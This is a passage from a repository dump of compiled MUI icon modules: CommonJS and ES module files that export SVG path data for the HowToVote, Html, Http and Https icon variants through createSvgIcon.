    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v1H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v4c0 1.1.89 2 1.99 2H19c1.1 0 2-.89 2-2v-4zm1 7H5v-1h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.048 12.905 8.505 9.362l4.95-4.95 3.543 3.543z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.11 7.25 14.16 2.3c-.38-.4-1.01-.4-1.4-.01L6.39 8.66c-.39.39-.39 1.02 0 1.41l4.95 4.95c.39.39 1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41m-7.06 5.65L8.51 9.36l4.95-4.95L17 7.95z\"\n}, \"3\")], 'HowToVoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HowToVoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v1H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13h-.68l-2 2h1.91L19 17H5l1.78-2h2.05l-2-2H6l-3 3v4c0 1.1.89 2 1.99 2H19c1.1 0 2-.89 2-2v-4zm1 7H5v-1h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.048 12.905 8.505 9.362l4.95-4.95 3.543 3.543z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.11 7.25 14.16 2.3c-.38-.4-1.01-.4-1.4-.01L6.39 8.66c-.39.39-.39 1.02 0 1.41l4.95 4.95c.39.39 1.02.39 1.41 0l6.36-6.36c.39-.39.39-1.02 0-1.41m-7.06 5.65L8.51 9.36l4.95-4.95L17 7.95z\"\n}, \"3\")], 'HowToVoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Html.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm14 0H13c-.55 0-1 .45-1 1v5h1.5v-4.5h1V14H16v-3.51h1V15h1.5v-5c0-.55-.45-1-1-1M11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'Html');"
  },
  {
    "path": "packages/mui-icons-material/lib/Html.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm14 0H13c-.55 0-1 .45-1 1v5h1.5v-4.5h1V14H16v-3.51h1V15h1.5v-5c0-.55-.45-1-1-1M11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'Html');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm14 0H13c-.55 0-1 .45-1 1v5h1.5v-4.5h1V14H16v-3.51h1V15h1.5v-5c0-.55-.45-1-1-1M11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'HtmlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm14 0H13c-.55 0-1 .45-1 1v5h1.5v-4.5h1V14H16v-3.51h1V15h1.5v-5c0-.55-.45-1-1-1M11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'HtmlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15c-.55 0-1-.45-1-1V9.75c0-.41.34-.75.75-.75s.75.34.75.75v3.75h1.75c.41 0 .75.34.75.75s-.34.75-.75.75zm-5-4.51h1v3.76c0 .41.34.75.75.75s.75-.34.75-.75V10c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V10.5h1v2.75c0 .41.34.75.75.75s.75-.34.75-.75zM5 9.75C5 9.34 4.66 9 4.25 9s-.75.34-.75.75V11h-2V9.75c0-.41-.34-.75-.75-.75S0 9.34 0 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75zm5.25.75c.41 0 .75-.34.75-.75S10.66 9 10.25 9h-3.5c-.41 0-.75.34-.75.75s.34.75.75.75h1v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5z\"\n}), 'HtmlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15c-.55 0-1-.45-1-1V9.75c0-.41.34-.75.75-.75s.75.34.75.75v3.75h1.75c.41 0 .75.34.75.75s-.34.75-.75.75zm-5-4.51h1v3.76c0 .41.34.75.75.75s.75-.34.75-.75V10c0-.55-.45-1-1-1H13c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V10.5h1v2.75c0 .41.34.75.75.75s.75-.34.75-.75zM5 9.75C5 9.34 4.66 9 4.25 9s-.75.34-.75.75V11h-2V9.75c0-.41-.34-.75-.75-.75S0 9.34 0 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75zm5.25.75c.41 0 .75-.34.75-.75S10.66 9 10.25 9h-3.5c-.41 0-.75.34-.75.75s.34.75.75.75h1v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5z\"\n}), 'HtmlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm15 0H12v6h1.5v-4.5h1V14H16v-3.51h1V15h1.5zM11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'HtmlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm15 0H12v6h1.5v-4.5h1V14H16v-3.51h1V15h1.5zM11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'HtmlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm14 0H13c-.55 0-1 .45-1 1v5h1.5v-4.5h1V14H16v-3.51h1V15h1.5v-5c0-.55-.45-1-1-1M11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'HtmlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HtmlTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.5 9H5v6H3.5v-2.5h-2V15H0V9h1.5v2h2zm14 0H13c-.55 0-1 .45-1 1v5h1.5v-4.5h1V14H16v-3.51h1V15h1.5v-5c0-.55-.45-1-1-1M11 9H6v1.5h1.75V15h1.5v-4.5H11zm13 6v-1.5h-2.5V9H20v6z\"\n}), 'HtmlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Http.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zm9-1.5H18v6h1.5v-2h2c.8 0 1.5-.7 1.5-1.5v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'Http');"
  },
  {
    "path": "packages/mui-icons-material/lib/Http.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zm9-1.5H18v6h1.5v-2h2c.8 0 1.5-.7 1.5-1.5v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'Http');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zm9-1.5H18v6h1.5v-2h2c.8 0 1.5-.7 1.5-1.5v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'HttpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zm9-1.5H18v6h1.5v-2h2c.8 0 1.5-.7 1.5-1.5v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'HttpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 11h-2V9.75c0-.41-.34-.75-.75-.75S1 9.34 1 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5C6 9.34 5.66 9 5.25 9s-.75.34-.75.75zm3.25-.5h.75v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5h.75c.41 0 .75-.34.75-.75S11.16 9 10.75 9h-3c-.41 0-.75.34-.75.75s.34.75.75.75m5.5 0H14v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5h.75c.41 0 .75-.34.75-.75S16.66 9 16.25 9h-3c-.41 0-.75.34-.75.75s.34.75.75.75M21.5 9H19c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V13h2c.83 0 1.5-.68 1.5-1.5v-1c0-.82-.67-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'HttpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 11h-2V9.75c0-.41-.34-.75-.75-.75S1 9.34 1 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5C6 9.34 5.66 9 5.25 9s-.75.34-.75.75zm3.25-.5h.75v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5h.75c.41 0 .75-.34.75-.75S11.16 9 10.75 9h-3c-.41 0-.75.34-.75.75s.34.75.75.75m5.5 0H14v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5h.75c.41 0 .75-.34.75-.75S16.66 9 16.25 9h-3c-.41 0-.75.34-.75.75s.34.75.75.75M21.5 9H19c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V13h2c.83 0 1.5-.68 1.5-1.5v-1c0-.82-.67-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'HttpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zM23 9h-5v6h1.5v-2H23zm-1.5 2.5h-2v-1h2z\"\n}), 'HttpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zM23 9h-5v6h1.5v-2H23zm-1.5 2.5h-2v-1h2z\"\n}), 'HttpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zm9-1.5H18v6h1.5v-2h2c.8 0 1.5-.7 1.5-1.5v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'HttpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 11h-2V9H1v6h1.5v-2.5h2V15H6V9H4.5zm2.5-.5h1.5V15H10v-4.5h1.5V9H7zm5.5 0H14V15h1.5v-4.5H17V9h-4.5zm9-1.5H18v6h1.5v-2h2c.8 0 1.5-.7 1.5-1.5v-1c0-.8-.7-1.5-1.5-1.5m0 2.5h-2v-1h2z\"\n}), 'HttpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Https.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1z\"\n}), 'Https');"
  },
  {
    "path": "packages/mui-icons-material/lib/Https.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1z\"\n}), 'Https');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'HttpsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}), 'HttpsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'HttpsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2m-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'HttpsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h16zm-8 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'HttpsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8h-3V6.21c0-2.61-1.91-4.94-4.51-5.19C9.51.74 7 3.08 7 6v2H4v14h16zm-8 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2M9 8V6c0-1.66 1.34-3 3-3s3 1.34 3 3v2z\"\n}), 'HttpsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 20h12V10H6zm6-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'HttpsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HttpsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 20h12V10H6zm6-7c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2M9 6c0-1.66 1.34-3 3-3s3 1.34 3 3v2H9zm9 14H6V10h12zm-6-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2\"\n}, \"1\")], 'HttpsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hub.js",
